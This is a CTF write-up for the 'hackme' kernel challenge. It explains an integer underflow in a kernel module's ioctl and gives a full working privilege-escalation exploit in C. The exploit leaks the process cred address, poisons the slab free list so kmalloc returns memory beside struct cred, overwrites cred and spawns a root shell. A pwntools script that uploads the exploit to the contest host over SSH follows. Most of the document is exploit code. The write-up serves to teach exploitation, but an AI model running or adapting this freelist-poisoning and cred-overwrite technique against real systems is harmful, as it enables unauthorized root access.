Rating:

## hackme

This is a kernel exploitation challenge that requires us to get root to read the flag, and I failed to solve it in contest, but let's see.

An `ioctl` is implemented in `hackme.ko`. There are 4 commands: to create memory chunk using `kmalloc`, to delete memory chunk using `kfree`, to read memory chunk using `copy_to_user` and to write the memory chunk using `copy_from_user`. When reading and writing the memory chunks, `offset` and `size` can be specified to only read or write part of the memory chunk. Here is where the vulnerability comes from: there is an integer overflow.

```c
v9 = v19.idx;
v10 = pool[v9].buf;
v11 = &pool[v9];
if ( v10 && v19.off + v19.size <= v11->max_size )
{
//when v19.off == -0x200L and v19.size == 0x200L
//we can have a underflow
//also works for read operation
copy_from_user(&v10[v19.off], v19.usrbuf, v19.size);
return 0LL;
}
```

### First Attempt

I initially tried to use [this method](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/kernel_uaf/). In one word, `kfree` a chunk with same size as `struct cred`, and then `fork`, so that the `struct cred` of new process will be the same one as the chunk just being `kfree`ed. Then rewrite this `struct cred` by underflow. However, this does not seem work. Since the `struct cred` of new process is not the same one as the one just being `kfree`ed. I don't know the reason. Maybe it is because the kernel version since that one is `4.4.72` and this one is `4.20.13`, or it is because the `flag` argument of `kmalloc` is different.

### Second Attempt

Then I tried to leak the `cred` first, using `prctl(PR_SET_NAME, comm)`. The detail is [here](https://poppopret.org/2015/11/16/csaw-ctf-2015-kernel-exploitation-challenge/). This works if I read `0x100000L` bytes. Also, we can also leak the address of our memory chunks by reading `next` pointer of freed chunk. After leaking addresses, I found `cred` is very far from the memory chunks, so we cannot rewrite it directly because that will cause kernel panic.

The correct approach is to rewrite `next` pointer of the free list, a bit similar to `tcache poisoning` in `ptmalloc` exploitation. We can let `kmalloc` return an address near the `cred`, so we can rewrite `cred`. However, we don't want the free list to be corrupted since that will cause kernel panic, so we need to find a memory region whose first 8 bytes are all 0, fortunately `QWORD PTR [address of cred - 0x10] == NULL`.

Final exploit

```c
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <sys/prctl.h>
#include <memory.h>
#include <string.h>
#include <assert.h>

char tab[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/'};

struct data
{
unsigned int idx;
char *usrbuf;
size_t size;
size_t off;
};
#define BUF_SIZE 0x100000L
struct data param = {0};
char buffer[BUF_SIZE] = {0};
int fd;

void init()
{
fd = open("/dev/hackme",0);
if (fd < 0)
exit(-1);
param.usrbuf = buffer;
}

void error_exit(char* msg)
{
puts(msg);
exit(-1);
}

void kmalloc(unsigned int idx, size_t size, char sig)
{
memset(buffer, sig, sizeof(buffer));
param.size = size;
param.idx = idx;
int ret = ioctl(fd, 0x30000, ¶m;;
if (ret < 0) error_exit("Error: kmalloc");
}

void write_memory(unsigned int idx, size_t size, size_t off)
{
param.size = size;
param.idx = idx;
param.off = off;
int ret = ioctl(fd, 0x30002, ¶m;;
if (ret < 0) error_exit("Error: write_memory");
}

void read_memory(unsigned int idx, size_t size, size_t off)
{
param.size = size;
param.idx = idx;
param.off = off;
int ret = ioctl(fd, 0x30003, ¶m;;
if (ret < 0) error_exit("Error: read_memory");
}

void kfree(unsigned int idx)
{
param.idx = idx;
int ret = ioctl(fd, 0x30001, ¶m;;
if (ret < 0) error_exit("Error: read_memory");
}

void printhex(char* pbuf, size_t size)
{
unsigned char* buf = (unsigned char*)pbuf;
for (size_t i = 0; i < size; ++i)
{
printf("%.2x", buf[i]);
}
printf("\n");
}

char comm[] = "201920192019";
#define CHUNK_SIZE 0x40L
int main(int argc, char const *argv[])
{
uintptr_t cred;
//if (argc == 1) exit(-1);
prctl(PR_SET_NAME, comm);
//size_t credsize = strtoul(argv[1], 0, 16);
init();

for (int i = 0; i < 64; ++i)
{
kmalloc(i, CHUNK_SIZE, tab[i]);
}
read_memory(63, BUF_SIZE, -BUF_SIZE);
char* ret = (char*)memmem(buffer, sizeof(buffer), comm, sizeof(comm) - 1);
if (ret)
{
cred = *(uintptr_t*)(ret - 8);
assert(*(uintptr_t*)(ret - 0x10) == cred);

//write(1, buffer, BUF_SIZE);
printf("%p %p\n", (void*)(ret - buffer), (void*)cred);
puts(ret);
}

const size_t LEAK_SIZE = 0x400L;

puts("Before: ");
kfree(62);

kfree(61);
read_memory(63, LEAK_SIZE, -LEAK_SIZE);
//printhex(buffer, LEAK_SIZE);

uintptr_t addr_62 = *(uintptr_t*)(buffer + LEAK_SIZE - CHUNK_SIZE*2);
printf("%p\n", (void*)addr_62);

*(uintptr_t*)buffer = cred - 0x10;
write_memory(63, CHUNK_SIZE*2, -CHUNK_SIZE*2);

memset(buffer, 0, CHUNK_SIZE);
kmalloc(61, CHUNK_SIZE, '\x00'); //consume a chunk
//kmalloc(62, CHUNK_SIZE, '\x00'); //rewrite cred here
uint64_t arr[8] = {0x0000000000000000,0x0000000000000000
,0x0000000000000003,0x0000000000000000
,0x0000000000000000,0x0000000000000000
,0x0000000000000000,0x0000000000000000};

param.size = CHUNK_SIZE;
param.idx = 62;
param.usrbuf = (char*)arr;
ioctl(fd, 0x30000, ¶m;;//rewrite cred, usage must NOT be changed

// system("/bin/sh");
// execve will cause kernel panic, no idea why
// and the exploit works for 80% probability
char* shargv[] = {"/bin/sh", NULL};
execve("/bin/sh", shargv, NULL);
//in this way execve will not cause kernel panic

return 0;
}
```

upload.py
```python
#musl-gcc -static exp.c -o ./fs/home/pwn/exp
from pwn import *
import base64
context(log_level='debug', arch='amd64')

HOST = "35.221.78.115"
PORT = 10022
USER = "pwn"
PW = "pwn"
BIN = "./fs/home/pwn/exp"

def exec_cmd(sh, cmd):
sh.sendline(cmd)
sh.recvuntil("$ ")

if __name__ == "__main__":
sh = ssh(USER, HOST, PORT, PW).run("/bin/sh")
with open(BIN, "rb") as f:
data = f.read()
encoded = base64.b64encode(data)
sh.recvuntil("$ ")

once_size = 0x200
for i in range(0, len(encoded), once_size):
exec_cmd(sh, "echo -n \"%s\" >> benc" % (encoded[i:i+once_size]))
print float(i)/len(encoded)

exec_cmd(sh, "cat benc | base64 -d > exp")
exec_cmd(sh, "chmod +x exp")
sh.interactive()
```

`*CTF{userf4ult_fd_m4kes_d0uble_f3tch_perfect}`